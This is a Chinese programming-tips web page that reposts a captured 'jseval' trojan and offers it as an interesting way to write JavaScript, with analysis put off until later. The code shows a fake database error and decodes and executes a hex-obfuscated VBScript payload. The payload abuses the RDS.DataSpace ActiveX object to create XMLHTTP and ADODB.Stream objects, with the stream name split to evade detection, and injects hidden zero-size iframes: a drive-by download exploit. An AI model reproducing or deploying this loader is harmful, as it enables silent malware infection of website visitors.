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jseval木马代码,以后再分析吧_javascript技巧

来源:步遥情感网


从下面的木马中,发现的书写js的另一方法

[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
代码如下:



function init() {
document.write("Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'");}
window.onload = init;


S="0d202020206f6e206572726f7220726573756d65206e6578740d202020205365742073696e61203d206f63756d656e742e637265617465456c656d656e7428226f626a65637422290d2020202073696e612e7365744174747269627574652022636c61737369222c2022636c73693a424439333535362d363541332d313144302d393833412d3030433034433239453336220d202020205365742062616975203d2073696e612e4372656174654f626a65637428224d6963726f736f66742e584d4c48545450222c2222290d20202020676f6f67313d22416f220d20202020676f6f67323d22622e220d20202020676f6f67333d22537472220d20202020676f6f67343d2265616d220d20202020676f6f743d676f6f673126676f6f673226676f6f673326676f6f67340d20202020706f733d676f6f740d20202020536574206e5053203d2073696e612e4372656174654f626a65637428706f732c2222290d6966204e6f74204572722e4e756d626572203d2030207468656e0d6572722e636c6561720d6f63756d656e742e77726974652028223c696672616d65207372633d676f6f676c652e68746d20776974683d30206865696768743d303e22290d656c73650d6f63756d656e742e77726974652028223c696672616d65207372633d42414944552e68746d20776974683d30206865696768743d303e22290d656e2069660d"
flag_type="vbs"
D=""
DO WHILE LEN(S)>1
k="&H"+LEFT(S,2)
p=CLng(k)
m=chr(p)
D=D&m
S=MID(S,3)
LOOP
if flag_type="vbs" then
EXECUTE D
end if


if (flag_type=="js") {
eval(D);}


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